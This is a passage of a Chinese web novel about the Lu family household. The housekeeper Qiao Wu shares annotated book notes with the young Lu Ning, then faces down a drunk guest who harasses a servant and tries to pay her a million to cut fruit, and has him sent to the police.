“你身上是这个味道!”陆柠发现新大陆一样。 她一直觉得乔梧身上的书卷味很好闻,却一直找不到相似的味道,也不知道还有这种香水。 这会儿忽然发现原来是这里的。 藏书楼的味道更重,还有些佣人打扫后留下的淡淡香薰味。 但乔梧身上的更清爽,更舒服。 乔梧不知道自己身上还有味道,她低头闻了闻,但没闻到:“或许?我以前喜欢来这儿。” “这些书你不会都看过吧?” “没有,又添了很多新书。” 因为书多,所以每次上了新书佣人都会在这里的电脑更新数据,但乔梧记忆中有几本适合陆柠看的,所以并没有去查,而是推过摆在角落的木质扶梯走到了印象中的书架前。 木质扶梯很重也很稳,过去她懒得去沙发就会直接坐在上面看,哪怕是现在坐着也不会觉得危险摇晃。 乔梧抽出一本书递给陆柠:“这个。” 陆柠垫着脚接过来,看清书名:“《苏菲的世界》” 还好,名字她看得懂,内容应该不会很深吧。 她随便翻了两下,却见里面夹着张便签,上面的字迹整齐漂亮,写字的人还画了片梧桐叶。 这肯定不是陆应池干的。 “你写的吗?”她问。 乔梧正在找书,闻言垂眼看见,眼里露出些惊喜:“还在啊。” “我看书的时候习惯留下的一点笔记和个人感悟,如果你觉得妨碍到你了,可以先把它还给我。” “我不。” 陆柠没有从陆应池那里问到乔梧用的字帖和书法老师,就只能从这里入手了。 她将纸条小心放好:“我会结合一起看的。” 虽然她瞄了一眼,其实没太看明白。 但要是这些乏味的书里有乔梧的痕迹,应该会更有意思一点。 乔梧看过的书,她也在看。 那她到时候想的会不会也跟乔梧一样! 哼,那她跟乔梧就是灵魂的共鸣了,哪里像陆应池那个笨蛋,他可能也没来过藏书楼吧哈哈哈! 陆柠瞬间就来劲了:“你给我找你做过笔记的那种书!” 乔梧不懂,但顺着她了:“好。” 陆柠继续往后翻,想看看还有多少便签,却发现最后那张除了乔梧的字迹也有其他人的。 什么,这家里除了自己还有谁这么好学! 这字迹……首先排除陆应池,再排除陆宣。 她见过陆宣的签名,丑得鸭皮。 那…… 陆柠倏忽瞪大眼睛:“这是二叔写的吗?” “嗯?”乔梧愣了愣,“我看看。” 陆柠将另外的便签给她递过去。 乔梧垂眸,上面的笔记比她印象中要成熟有劲很多,说明是在后来这十多年里陆尽之写下的。 只有一句话。 “苏菲的船会去哪?” 苏菲是这本书的主角,是一个父亲为了教女儿哲学而虚构出来的书中人物,这本书的开放式结局里,有了自我意识的苏菲解开了船的缆绳,或许是离开了书的世界。 所以他在问一个不存在的结局么? 乔梧看了几秒,忽然从梯子上下来。 “你不找了吗?”陆柠亦步亦趋跟在她身后。 然后她看见乔梧走到桌前拿起一支笔,俯身在陆尽之的便签上落下了自己的笔记。 她惊恐地问:“这你也敢写?” 虽然陆尽之不在国内,但难保他不会再回来看到。 乔梧合上笔盖,莞尔:“为什么不敢?” “他最不喜欢别人碰他的东西了。”陆柠心惊胆战地说,“他会生气,而且不会在意你是谁的。” 乔梧想了 想:“应该不会。” “为什么?” 但这次乔梧没再回答,她将笔放下,从陆柠怀里抽出那本书,将便签好好放在里面,温声道:“要收好。” 陆柠一头雾水地接过书,可乔梧已经回到梯子旁挑书了。 她低头翻开书,看见那条墨痕还未干的回复。 “会越过自由的海,去任何她想去的地方。” 陆柠暗暗下定决心。 她一定要把这本书看完!再看看这两人在打什么哑谜! 坐在木梯上的乔梧再次拿出一本书翻开,上面除了她的便签外,还有一些陆尽之留下的笔记,有些她看过,有些却是陌生的。 所以她写下那句话,哪怕是现在的陆尽之应该也不会生气。 因为全世界只有她会给陆尽之回答。 尽管这个答案迟到了十二年。 第24章 第二十四章二更 陆尽之要回国的消息已经传遍,甚至媒体新闻都已经开始提前报道,但并不是每一个人都收到了陆家晚宴的邀请,所以为了能在那天蹭进陆家,很多人都绞尽脑汁另辟蹊径。 陆家除了陆尽之以外,其他人的行程几乎都是公开透明,想要偶遇简直不要太简单。 陆应池刚放学走到停车场,就见自己的车旁围了不少车。 现在的大学生几乎都是住校,也很少有开车过来的,更别说像陆应池这种从来都不掩饰自己身份的少爷。 学校里几乎没人不认识他,只要随便一问就能知道他的车停在哪,只不过正常人多,不是谁都那么没有眼色天天往他跟前凑。 他一走过去,那些车就开着灯朝他闪了好几下,又按着喇叭。 有个人从车里探出头:“陆少,你最近很难找啊!” 陆应池靠在自己的车门上,指着他的车灯:“消停点。” 几乎是瞬间,其他车的灯都灭了,每个人都从自己的车上下来朝他走来。 陆应池认识的人不少,像胡卓那样的垃圾只是一部分,但他的确很久都没有跟朋友们在一起聚过了。 以前只要一天不出去喝酒他就觉得浑身难受,但现在这么久过去了,好像也没什么不适应的。 他扫过一圈这些人,没在他们脸上看到法制频道的马赛克,轻啧了声:“有屁放,我还得回家。” “你家是有门禁还是怎么。”刚才冲他打招呼那个男人笑得很开心,“这么着急回去?” 陆应池:“给陆柠检查作业。” “?” 陆柠是谁大家都知道。 但陆应池是给人检查作业的人? “你开玩笑我当真啊。” “你还有一分钟废话时间。” “欸欸!”男人立刻打住,一把搂住他的肩膀,“真没其他意思,上次听说你在零环线跟胡卓那个逼闹掰了,一直想找个机会问问怎么个事儿,但你好一段时间没去了,约你你又不出去,我能只能上这儿来堵你来。” 听到胡卓的名字陆应池就恶心,不耐道:“提他你们也滚。” “谁乐意提他,那个逼也不是什么好东西。”郭力言说,“就是想跟你聚聚,不去零环线去吃个饭也行?” 圈里这些人其实都不太瞧得上胡卓,一个暴发户又没什么脑子,有点钱就觉得自己了不起,玩得很花又没底线,身上那种势利和心眼藏都藏不住,要不是他跟陆应池一个学校,哪里能挤到这个圈子里来。 现在陆应池跟胡卓闹翻其他人也喜闻乐见。 但陆应池听了也没答应,打下他的手:“改天。” 乔梧说过不会干涉他正常交友,只要他擦亮眼睛就行。 主要是陆柠第二天还得交作业,不能临时变卦,那就是不负责。 “还惦记你那侄女呢?”郭力言收回手,“这样,那我们也去你家?反正你爸又不在家,听说你家那高尔夫球场重新修整了,让我们也去玩玩。” 见陆应池要拒绝,他又继续道:“你现在跟你那侄女关系挺好吧?我们也可以跟她玩啊,不就辅导个作业么,哥几个也不是没有大学文凭,再给她买点小礼物什么的。” 陆应池不喜欢打高尔夫,他觉得那玩意儿一点意思都没有,所以根本没关注过这个事儿。 但郭力言有一点到是说得很对。 他朋友多,可陆柠没什么朋友,现在换了新学校也没听她提起过学校的事,也不知道有没有人跟她玩。 本来就难管,要是不好好引导,以后不会成个心理变态吧? 像陆尽之那样。 陆应池没回答他,而是拿出手机拨了个电话。 郭力言没懂他在干嘛,然后就听到陆应池对电话那头道:“我带几个朋友来家里玩可以吧?” 郭力言:“???” 不是说老陆总在住院吗? 那头不知说了什么,陆应池的目光忽然变得锐利,将郭力言几个人从头到脚都扫了个遍。 “你们平时看法制频道吗?”他问。 郭力言:“……” “去你家要看法制频道是什么硬性要求吗?”他不确定地问,“虽然没看,但我能背社会主义核心价值观。” 陆应池的眼神瞬间充满了赞赏:“他说他会背社会主义核心价值观,还说要给陆柠买礼物。” “六个。” 说完后陆应池挂了电话:“上车。” “等会,你爸在家啊?”郭力言不太确定。 要是老陆总在家,那就不能随随便便去了,高低换件衣服正式一点。 “不是。” “那你刚才跟谁打电话呢,你哥不是还没回国?” 陆应池语气十分理所当然:“管家啊。” 周围一片吸气声。 “啊???” 你跟管家说话这么卑微? 什么叫带朋友回来可以吗?那可是你自己家啊哥们儿! 在陆应池的催促下,大家都恍恍惚惚上了车。 走在郭力言身后的人忽然问:“陆应池说的那个管家,不会是上次胡卓想整的那个吧?” 因为事情发生在零环线,好多人都喜欢去那里寻乐子,大家的圈子互相交合,就算当天不在的人后来也能听说一些。 一传十十传百,导致那天的事变得十分离奇。 最开始是说有个没见过的大美人开着辆越野来跑圈,还从现场带走了一个洪承。 但公馆门口的人却说那个大美人是跟陆应池一路的。 狼狈的洪承被陆应池从车上拽下去直接拖上了楼,紧接着就是被打得鼻青脸肿的胡卓和洪承从楼上被保安拖下来,连老板都惊动了。 最后陆应池是跟大美人一起离开的。 而那个大美人,据说是个管家。 “上次陆应池在津岛用游艇带人出去,也是闹得很大,还没靠岸就中途掉头回来了。”那人说,“说是下船的时候陆应池从头到脚浑身都是酒,那船上谁敢碰陆应池,只有一个中途开着快艇追过去的美人,她上船没几分钟陆应池就发火跟胡卓掰了,然后所有人回程。” 郭力言扬眉:“还有这种事?” 他只知道零环线,还不知道游艇这事儿。 陆应池玩得很开的大家都知道,谁那么大本事敢爬到他头上。 “那他家这个管家还挺厉害的。”郭力言诚心说。 别的不知道,能降得住陆应池一定很有手段。 “如果真的是,那就去看看。”另外那人眼里放光,“第一次听说这种管家。” 郭力言看他一眼:“真的假的跟你有什么关系?那是陆家的人,咱们今天来都有自己的目的,汪自明,别犯蠢坏我的事。” 叫做汪自明的男人撇了下嘴,心道一个管家紧张什么。 连个管家都怕,难怪人家陆家看不上你。 说话间陆应池已经开车过来了,他见这两人还在这儿站着,不爽到:“去哪?” “不是去你家吗?” 陆应池看了他几秒,凉声问:“不是要给陆柠买礼物?” “噢噢噢!”郭力言差点忘了这茬,主要是陆应池以前很明确不喜欢陆家人,更别提买礼物了。 “我知道你们学校周围有个商场,对了她喜欢什么?” 陆应池毫不犹豫:“补脑的。 ” 所有人:“……” 意识到自己说的有点歧义,陆应池才心不甘情不愿地回想,他的确不知道陆柠喜欢什么。 但上次……是不是抱着个娃娃下楼来嘲讽他来着? “娃娃。”他又补充。 于是一行人又拐到附近的商场买了满满后备箱的娃娃,把人老板的脸都要笑烂了。 虽然认识了很多年,但以陆应池朋友的身份来陆宅是没有过的。 以前的陆应池只在外面玩,从来不提家里一个字,而且老陆总在家,谁也不敢造次,更别提再早之前还有个陆尽之。 郭力言这次带了任务来,他哥想让他从陆应池这里拿到邀请函。 陆家这次的晚宴并非纯商业性质,也不对媒体公开,所以并不是谁都能来,不是单纯有钱就行。 来的都是跟陆氏关系比较紧密的大企业或者靠点官场的朋友,这些人无一不是地位很高的世家。 其他那些普通企业根本没什么资格,因为也谈不上什么友好关系,连带合作都得求爷爷告奶奶找办法。 如果能拿到邀请函的话,这一趟都能在圈里提高不少地位。 郭力言在家里一向没什么话语权,毕竟他母亲身份不太光彩,连带他父亲和他同父异母的哥哥看他的眼神都不太光彩。 他的唯一用处只是跟陆应池年纪相仿,所以想方设法安排他去靠近陆应池。 因为这个他被迫去了不少次零环线,试图混成他们那样的人,但每次都因为融入不了那样的圈子悻悻而归,这次还不知道会怎么样,还好,只是高尔夫球- “陆应池的朋友要给我买礼物?” 还在藏书楼看书的陆柠听到后怎么都觉得这是个阴谋。 听说来了六个人,别是六车核桃吧? 陆应池真的干得出来。 “我不出去。”她埋下头,“要玩他们自己玩。” 还没有在这儿看书有意思。 这里安静,她把乔梧挑的几本书都拿好了准备有空就读完。 而且她还发现了一件更有意思的事情,就是看乔梧和陆尽之留下来的便签。 她从来没想过这两人之间会有这种交集,很神奇。 就像在书里发现了另外一座神秘的童话城堡一样。 陆柠跟陆尽之差了十多岁,基本上她懂事以后跟这个二叔就没怎么沟通过了。 她眼里的陆尽之像个不近人情的机器人,看不破也猜不透。 但不知道为什么,从这些便签里她好像能看到不一样的陆尽之和乔梧。 乔梧没有强求她一定要出去,毕竟陆应池带回来的人也不知是好是坏,在那之前接不接触对陆柠来说都没什么关系。 “那你在这儿看,顺便把作业写了,你小叔今天应该晚点才能给你看作业,我到了饭点叫你。” 陆柠点头:“好。” 陆宅有自己的安保系统,没有得到乔梧的允许,外客的车都停在了客用停车场,陆应池也没有想到要把人带进来,所以也把自己的车停在了外面,让保安开了宅子里的代步车去把那些礼物拿进来,他跟其他人走进来。 主要是大家想要徒步看看陆宅有多大。 “卧槽……”汪自明下巴根本合不住,“现在应该没办法批这么大块地自建了吧?你家这宅子多少年了?” 陆应池:“不清楚,听说我爷爷那会儿就在这儿住了,后来被老头扩建过。” 也就你敢一口一个老头这么叫你爸了。 郭力言:“你侄女呢,先把礼物给她?” “说是在看书?”陆应池觉得这个词挺新奇,那个藏书楼他都没进过几次,小时候全是去里面找乔梧了。 那些书他都不感兴趣,不过既然陆柠在那就暂时不去打扰她的兴致了,免得到时候还来怪他。 而且陆应池不太想把外人带到藏书楼去。 那里是乔梧喜欢的地方,她说那里安静,人多了就吵了。 见几人逛得差不多了,招手让保安开车过来:“不管她,你们不是要去高尔夫球场?走吧。” 去高尔夫球场还有些距离,走路费时间。 众人不得不再一次感慨这家人的财大气粗。 一路从正门过来,路过他家的中式园林马场超大露天泳池还有不知道干什么用的一栋栋房子,连带他家的代步车上都印着陆氏集团的标志,代表着这是他家的家纹,大家心里才知道为什么家人会那么绞尽脑汁想要拿到那张邀请函了。 众人来到修缮好的高尔夫球场时,远远就看到外面站了几个人,其中一个人尤其高挑。 陆家每个地方都专门有人在看管,所以大家原本还以为那人是陆家的佣人,可近了却发现不太对劲。 高挑的女人单独站在一边,微微偏着脑袋在跟眼前的几人说话。 她穿着一件无袖中式衬衫,脖子上带着一串色泽极其漂亮的翡翠珠链,下身是一条黑色的马面裙,阳光照在精致的手工织金刺绣上流光溢彩。 她个子本来就高,还穿了一双高跟鞋,整个人挺拔秀丽,头发用一只朴素的木簪挽起,露出纤细的脖颈。 光看背影几人都下意识屏住了呼吸。 听见身后的车越来越近,乔梧暂时中断对佣人的嘱咐回头迎接客人。 这下大家终于看清了她的脸,一个个都愣住了。 是一张比碧绿翡翠更加璀璨、比马面刺绣的光影更加矜贵的一张脸,眼镜下含笑的眼睛像是收敛了所有的光华。 陆应池十分敏感地抓住了这几个人的变化,他扭头看了眼,发现这几人都盯着乔梧在发呆,心里十分不爽。 他跳下车挡在众人面前,隔开视线:“我带他们来就行,你来干什么?” “划分区域后你没来过,我来嘱咐一下。”乔梧温声说,“马上说完就回去了。” 陆应池:“哦。” “一直在这儿玩吗?我让人给你们送点水果点心,今晚在客餐厅吃饭?” 自家人吃饭的餐厅跟有客人用的不一样。 陆应池心道,这些人看都看饱了,吃吃吃吃什么吃。 谁也不许吃,打一会儿就给他们全都轰走! “他们吃过了。”他面不改色。 才跟着下车几人:“???” “没有!怎么就吃过了?”汪自明赶紧从后面跑上来,“我们直接找你去了,吃什么了?” 陆应池狠狠剜了他一眼。 乔梧失笑,轻轻拍了拍陆应池的肩膀:“带朋友来怎么不周到一点。” 又问另外那几人:“你们有什么忌口吗?” 一行人齐刷刷回答:“没有!” “好,那就先失陪了。”她朝陆应池挑挑眉,“晚点见。” 乔梧坐上车离开。 这下这边的人全都炸开了锅,围着陆应池叽叽喳喳:“陆应池,那是谁那是谁!” 陆应池不想回答,转身朝球场里走去:“关你们屁事,还打不打球了?” “绝逼就是那个管家!”汪自明一把抓住郭力言的胳膊,“除了她还有什么大美人!卧槽,陆应池怎么吃这么好!这种美人别说灌我酒了,拿我泡酒都行啊!” 郭力言被他晃得晕,躲开了他的手:“不是要打球?” 打什么球,汪自明来这里就从来没有要打球的心思,现在看到那个管家就更没有了,心早就不知道飞到了哪里。 可见人都进去了,他只好心不甘情不愿地跟着进去。 郭力言走了几步却也忍不住回头看,路上早就没有了刚才那个女人的身影。 他不知道怎么形容,但感觉如果陆应池是被这样的人管着,他一点也不觉得奇怪,明明都说那是个管家,可他站在她面前,在那双浅瞳看过来的时候,他居然连开口的勇气都没有。 说是打球,但事实上进到球场里后根本没谁的心思在球上,每一个都心不在焉。 陆应池本身也不爱这种东西,没一会儿就兴致缺缺地靠边了,还 没给陆柠改作业有意思。 汪自明趁机凑上去:“累了?休息一下。” “你来有二十分钟了吗就累了。”郭力言说。 “我哪有你们这种体力,要不换个地玩?”汪自明问陆应池,“你家有酒库吧?我们去喝酒呗。” 平时出去玩也就是喝喝酒,虽然现在陆应池没什么喝酒的想法,但乔梧说让他好好招待客人。 而且乔梧一向不喜欢喝酒,所以很少去酒库那边。 酒库外是个大客厅,有个巨大的弧形吧台,周围摆着沙发。 平常要是带朋友来只想喝点酒,基本都在这边,就不用跑太远走来走去了。 陆应池寻思在那也好一点,省得到处跑,他少喝一点就是,于是又带着一行人转战酒库。 他让人拿了些酒出来,自己陪着喝点儿就放下了杯子。 郭力言看他一眼:“不喝了?” 陆应池倚着沙发跟他们一起玩牌:“一会儿还要给陆柠看作业,你们喝,想喝多少喝多少。” 最好喝饱,别他妈总想着要去吃什么饭。 郭力言已经听他提过很多次陆柠了,觉得现在陆柠对陆应池来说应该很重要,所以干脆投其所好:“要不先去给她看作业?” 陆应池摆手:“你们在这儿我过去算怎么个事儿。” 郭力言笑道:“我们还能分不清轻重缓急?酒什么时候喝都行,但是小孩应该要早点睡觉,一会儿满身酒味过去也不好,而且我也挺想去看看她的,礼物都买了,说好要陪她玩我在这儿喝酒算什么。” 陆应池动作顿了顿。 “人多太吵了。”他说。 “他们也不一定去。”郭力言踢了汪自明一脚,“你们在这儿喝酒,还是去跟陆柠玩?” 汪自明哪里会想跟一个小屁孩玩。 而且陆家几兄弟一直不合,陆柠父母又死的早,再怎么算陆家也轮不到她一个小孩来做主,说要陪陆柠玩的是郭力言,又不是他,所以他摇摇头:“我就不去了,你帮我把礼物带到就行。” 其他人也说自己喝多了不去。 见状陆应池还轻松一点,他把牌放下起身:“你们先喝,我们很快回来。” 郭力言也跟着他一起站起来离开。 见两人的背影消失,汪自明轻嗤:“真是够舔的,连小孩都不放过。” 他旁边的人笑骂他一句:“你是什么好人。” 汪自明喝了口酒:“我又没说我是好人,话说你们看到刚才那个管家了吗?她叫什么名啊,我也想要这样的管家,那我天天往家跑。” “你可拉到吧,你又不姓陆,人家看得上你么。” “不就是要钱。”汪自明说,“一个管家我还请不起?” 就是陆家这个看起来要贵得多。 没人守着,他们喝起来就没个度了,就记得陆应池说过一句随便喝。 不知道过了多久,门口进来几个人送东西。 佣人将一部分东西放在桌上:“担心几位空腹喝酒难受,小乔管家送些吃的过来。” 剩下的就被放去了吧台,有些水果如果切了再拿过来可能不太好,所以一半都直接拿到这边来处理。 陆应池不在,喝了几口酒,有些上头的几人就大胆得多了。 “小乔管家?”汪自明端着酒杯在吧台前坐下,看着那人切水果的动作,问,“你们小乔管家叫什么名字?” “乔梧。” “乔梧……”汪自明自顾笑了两声,“知道她工资多少钱一个月吗?” 佣人吓了一跳:“这些我们不知道的。” “那她的工作都负责哪些方面?” “很多。” 汪自明不耐烦:“具体点。” “我们也不太清楚。” “你怎么什么都不知道。”汪自明什么都没问到就来气,他越看这人越不顺眼,“怎么来的全是男的,这么细致的活儿你们做得好吗,切个水果都切不好。” 佣人看自己切的水果,并没有觉得哪里不好。 其实家里还有其他的女佣人,只不过小乔管家说今天来的都是男客人,还在喝酒,这才没让女性过来。 现在看来小乔管家的顾虑是对的。 “您说哪里不好,我改正。”他平静地说。 “我看哪里都不好。”汪自明将酒杯放下,“这样,你打个电话让你们小乔管家来切吧,我想看看她这么厉害的人切的水果会是什么样子。” 其他几个一听这里有热闹也站起来走近,闻言都笑起来:“你有钱让人家切吗?” 汪自明被一激,掏出一张卡重重拍在吧台:“一百万切个水果够不够?” 佣人轻轻摇头:“抱歉,恐怕不行,我们小乔管家不做这些琐事。” 然后一只手默默伸到台面之下,准备时刻按警铃。 “打个电话为难你了?”汪自明伸手拍了拍他的脸,压低声音威胁,“一个电话五万,够你多久的工资了?” “请您不要动手。” “你跟我叫嚣?”汪自明气乐了,一把揪住他的衣领,“别给脸不要脸。” 佣人深吸一口气,正要听小乔管家说的遇到事情就要按下警铃。 他还没按下去,门口忽然传来高跟鞋的声音。 众人顿时回头。 那个让他们牵挂了两个小时的人影出现在门口,在暖色调的灯光下不太能看清表情。 乔梧没打通陆应池的电话,所以亲自过来看了看,没想到还能撞到这个画面,她缓缓走近,视线凝在汪自明的手上:“松手。” 离得近以后大家才发现这个女人的气场是真的强,汪自明下意识卸了力道。 “小乔管家。”他活动了一下手指,视线赤裸裸地望着乔梧,“不好意思,我没想做什么,就是跟你家佣人说说话,他不太听话。” “他说什么了?”乔梧问。 汪自明:“他说……” 乔梧淡淡看他一眼:“没问你。” 汪自明被酒精冲昏的头脑在这一刻居然被看得有点沸腾。 真带劲,他想。 那个佣人整理好自己的衣服,皱眉道:“他说拿五万块钱给我打电话给您,说用一百万让您给他切水果。” 乔梧轻笑:“是么。” “你叫什么名字?”她望向汪自明。 汪自明顿时捡起那张卡凑近:“乔小姐,在下汪自明。” 在那张卡就要戳碰到乔梧脸的一瞬间,乔梧忽然往后退了两步。 汪自明扑了个空差点摔倒:“干什么!” 乔梧没说话,而是绕过他们走到吧台后,拿起上面最大的那把切西瓜的刀,指尖在上面轻轻滑过,眼尾轻轻上挑。 这动作看得几个酒蒙子眼睛都直了。 下一秒,整个大客厅都响起了警铃声。 酒库离藏书楼不远,所以这边声音响起的时候,那边安静的屋子里也听得见。 几乎是瞬间陆应池就分辨出是哪里传出来的声音,他骂了一句就冲了出去。 认真做题的陆柠被吓了一跳:“怎么了?” 郭力言也很想骂人,他安抚陆柠:“没事,我先带你去找保安。” “不行,我要去!” 万一又是谁喝多了撬了她家保险柜怎么办。 这些人又不是陆宣,怎么敢的啊! 郭力言抓都抓不住,只好着急跟在后面。 而这边酒库客厅里,警报声听得汪自明心里一慌:“你干什么?不是切水果?” “切。” 见保安们进来了,乔梧拿着刀走出来:“小林,把水果抬出来。” 那个佣人忙在她身后端着水果走到外面。 保安们没搞清楚这是什么情况:“小乔管家?” 乔梧嗯了声走到沙发前,让小林把水果放在桌上,随意扫了汪自明一眼,对保安道:“按住他。” 保安哪里管这是谁,家里几个少爷都不敢跟小乔管家大声说话,他们当然也 只听小乔管家的,说按就按,直接把汪自明按住了。 汪自明还没反应过来,就被两个保安狠狠按在桌面上,脸贴着冰冷的桌子,挣扎间酒杯扫落在地,手里的卡也掉了。 陆应池跟陆柠前后跑进门时,整个大客厅已经安静了,除了被按在桌上乱叫的汪自明。 他火冒三丈:“又他妈给老子找事儿,老子弄不死你。” 乔梧背对着他站着,听见声音侧眸:“站住。” 陆应池见她手里拿了把西瓜刀,当初被乔梧拔刀威胁的画面顿时浮现在眼前,他差点跳起来:“不是我!我也没喝几口,我去检查陆柠作业了!” 郭力言听他这迫不及待辩解的样子,莫名想笑,却强行忍住。 不过见场面不像他想的那么糟糕,也就放心下来,虚虚挡着陆柠站在后面。 “知道不是你。”人群中心的乔梧俯身将地上的卡捡起来,夹在指尖把玩着,弯唇:“一百万切个水果,汪少爷真阔气,我不会让你失望的。” 陆应池瞪圆了眼:“什么一百万?” 他抄起一瓶酒就要朝汪自明头上砸:“姓汪的你踏马一百万侮辱谁呢!你算什么东西让她给你切水果!老子都没让她切过水果!喜欢切是吧,我把你脑袋给你切下来!” 汪自明吓得眼珠子都要爆出来了:“不不不!” “嘣!” 一声巨响打断了陆应池往前走的步伐。 众人目光所及,乔梧站在木桌前,而那把原本被她拿在手里的刀,此时已经被她硬生生插进了桌面。 还贴在桌面的汪自明刚才看到银色刀尖落下的时候,脸和心都一起被震麻了,此时根本一个声都发不出来,整个人都是傻的。 她哪来那么大劲?! 乔梧无声看向陆应池。 陆应池直接被那把刀唬住了,对上乔梧的视线后吞了吞口水,默默抱着酒瓶退后。 乔梧收回目光,修长的指尖搭在刀柄上轻轻点着,她略过其他人的视线,笑着垂眸看汪自明。 “说说看吧,想吃哪一个?” 第25章 第二十五章给你看猴 在场所有人大气都不敢出,几个喝多了的酒瞬间都醒了一半,谁知道下一秒被按在桌上的人会不会就是他们。 而且这里说了算的无非只有一个陆应池,可现在陆应池抱着酒已经退开,明显就是不打算插手的意思。 偏偏还有个没有眼力见儿的。 “陆应池!我错了,你快让你家管家把我放开啊!” 哪里想到陆应池直接抱着酒一屁股坐在沙发上,翘起二郎腿,彻底忽视了他的话。 其余人一看,也纷纷又多后退了一步。 汪自明一看这架势心都凉了半截,从他那个角度甚至只能看见乔梧的下巴,他努力翻着眼睛想要看清乔梧的眼神,却都是徒劳。 “小乔管家!乔小姐,我真不知道你不做这些,我的错我的错。” 乔梧让人捂住了他的嘴巴。 “所以说我就不喜欢听人道歉,错了就是错了,后果自己担着,用两句道歉就想获取原谅蠢得要死,我跟你并不是可以随便原谅的关系。” 她笑着说:“说说吧,想吃哪一个?” 汪自明就差给她匍匐跪下了,可他现在腿都是软的,根本不知道自己是怎么趴在桌上的,因为下半身几乎都没了知觉。 吃什么水果,他就没想过要吃水果! “我,我不吃了!” “一百万说不吃就不吃?” 汪自明声音颤抖:“我不是要吃水果。” “那你要干什么?” 明明就是心知肚明的事,平时哪怕这些少爷都没有明确说出来过,但此时此刻被乔梧刨根问底后他竟然觉得难以启齿,尤其是在这么一个情况下。 但明显乔梧得不到答案是不会罢休的,汪自明只好闭上眼睛,从齿缝挤出几个字:“想调戏你。” 所有人呼吸几乎静止,别说汪自明,其他几个跟着来的脸上都仿佛被打了一巴掌,火辣辣地疼。 包括陆应池,他现在是真的想给汪自明开瓢。 但又怕自己以后脸上也打上马赛克,乔梧去监狱里探监。 所以整个人都紧绷着,忍了又忍。 说都说出来了,汪自明全部豁出去:“对不起,是我有眼不识泰山!您放过我吧,我再也不敢了!” “泰山?”乔梧淡淡道,“如果不是泰山,那你也可以随便调戏了?怎么,我家佣人不是人?如果我没来,你要对他做什么?如果今天来的不是他,你又要对那个人做什么?五万块还是十万块能解决?” 站在乔梧身边的小林怔了下,没想到还能说回自己的身上。 他不由得望向乔梧,可对方却只像在说一件再普通不过的事。 汪自明以前对其他人就是这样的,但哪里想到还有人要追根究底。 可到了这个地步,他却只能朝刚才的男人道歉:“您说的对,我不该!” 乔梧从来不指望这种人悔改,不过她这里又不是劳教所,所以她让保安松开了汪自明:“带去警察局,说他寻衅滋事。” 才被松开还没站起来的汪自明一下又瘫了回去:“什、什么?” 要是被他爹知道他来陆宅惹了这么大一个篓子,还被从陆宅送去警察局,那他一定会完蛋。 “不要!”他惊恐地说,“我给您钱,我给您道歉,我不去警察局!” “我不做这种亏本的交易,也不喜欢讨价还价。”乔梧敲了敲刀面,“少说点话知道吗?” 见汪自明不愿意自己走,几个保安十分上道地把他架了起来。 “等会儿。”乔梧将那张卡拿起来,“既然水果已经切了,那汪少爷把卡刷了再走吧,包括碎掉的酒杯桌饰亏损,以及我们小林的五万。” 从天而降五万块钱的小林:“!!!” 被羞辱恐吓一顿还被送去警察局,现在倒赔一百多万的汪自明:“……” “剩下的水果也一起给汪少爷打包带走。”乔梧莞尔,“好歹值一百万。” 然后扫了发愣地其他人一眼:“招待不周,见谅。” 是个明白人都知道她这是在下逐客令了,一个个慌慌张张地朝她鞠躬朝着陆应池鞠躬就要告辞。 陆柠从郭力言的背后钻出来:“把你们的东西也拿走!” 那些礼物有一部分还堆在主宅,另一部分刚刚拿去了藏书楼。 余下的保安听了以后立刻回头去取。 被一群猪队友坑死了的郭力言现在杀人的心都有了。 但他也没有脸再要求留下来,或者提出什么邀请函的要求,扯着牵强的笑容跟着去藏书楼取自己买来的娃娃,低声说:“不好意思,给你们添麻烦了。” 其实陆柠觉得这个人也没做错什么,毕竟他的确来陪自己玩了,而且这个人给她讲题的时候也不像陆应池那么凶,态度还算可以。 但她并没有单独留下什么,只要是跟那些人一起来的,她都不想留下什么后患。 她把娃娃都塞进郭力言怀里,人小鬼大地说:“交友要谨慎。” 郭力言苦笑:“嗯。” 他想了想,又觉得很不甘心,所以临走前抱着一堆娃娃又回到了酒库。 此时大客厅里只剩下了陆应池和乔梧。 见他回来,两人都没说话。 郭力言站在门口没进,厚着脸皮说:“抱歉,如果有机会的话,我下次单独给你们赔罪,但汪自明的所作所为的确跟我没有任何关系。” 一群算不得真朋友的人为了同一个目的凑在一起,但什么牛鬼蛇神都有,他别无选择。 虽然陆应池看谁都不爽,但好歹郭力言的确什么也没做,他语气低沉:“滚吧。” 郭力言点点头,朝仍然站在桌前 的乔梧看了一眼,嘴唇轻动却又不知道要说什么。 “再见。”他轻声说。 乔梧轻轻点头。 等所有人都走了,陆柠才从门口摸进来,趴到桌边认认真真观察那把牢牢嵌进桌面的刀,都不知道要先感慨什么才好,最后找了个显而易见的:“你一刀砍了三十万。” 这张桌子三十万。 她以前学校里的同学拼夕夕一刀也才砍几块钱。 “汪自明不是赔了么。”乔梧看着抱着酒瓶还一语不发的陆应池,感觉他的世界好像塌了。 所以她拿了一个干净的酒杯,往里面倒了点酒推到陆应池面前:“有话要说?” 沙发很大也很软,陆应池一大只都陷在里面,他望着酒杯里晃动的液体,忽然说:“我是不是挺没用的?” 陆柠下意识想要搭腔,声音才发出来忽然读懂了现在的气氛。 于是话到嘴边拐了个弯,干巴巴地说:“你做题还行,腿没白断。” 换做是以往陆应池还能跟她呛两句,可今天陆应池却没这个心思。 因为他发现自己真的什么都没做好。 让他引以为豪的考上大学,还是当初摔断腿换来的。 从在游艇上开始、一直到去零环线、再到今天他再三确认带人回来,却还是闹得鸡飞狗跳。 乔梧说他们不争气,一点都没说错,他甚至连自己身边是人是鬼都分辨不清,除开每天准时上学准时放学,他一无是处,甚至只能用这个来要求乔梧留下来。 如果没有乔梧,如果换做其他人,那他现在是不是也会成为被抓去警察局的一员? 他松开手,怀里的酒瓶滚到地面发出沉闷的响声。 陆柠没见过这样的陆应池,像是刚才地面上那些细碎的玻璃,碎了一地。 怎么回事,闯祸的又不是他,他在悲伤什么? 如果是以前她还能坐视不理,但陆应池最近给她看题也算有苦劳,带朋友来还会知道给她买娃娃,所以她无措地将酒瓶捡起来抱着,绞尽脑汁:“其实你敲核桃也还行,粒粒分明。” 为什么感觉夸完以后,陆应池更碎了? 陆柠疑惑求助乔梧。 乔梧大概知道陆应池在想什么,多年以来养成的习惯让他已经没有办法轻易转换思路去想问题,所以现在才会这么无助。 她在陆应池身边坐下,轻声问:“他们犯的错,你为什么要揽在自己身上?” “我带他们来的。” “那以后他们去杀人放火你也要这么想?觉得你认识他们,却没有劝阻?” “……我只是没用,不是没脑子。” “两者有什么区别?可大可小。” 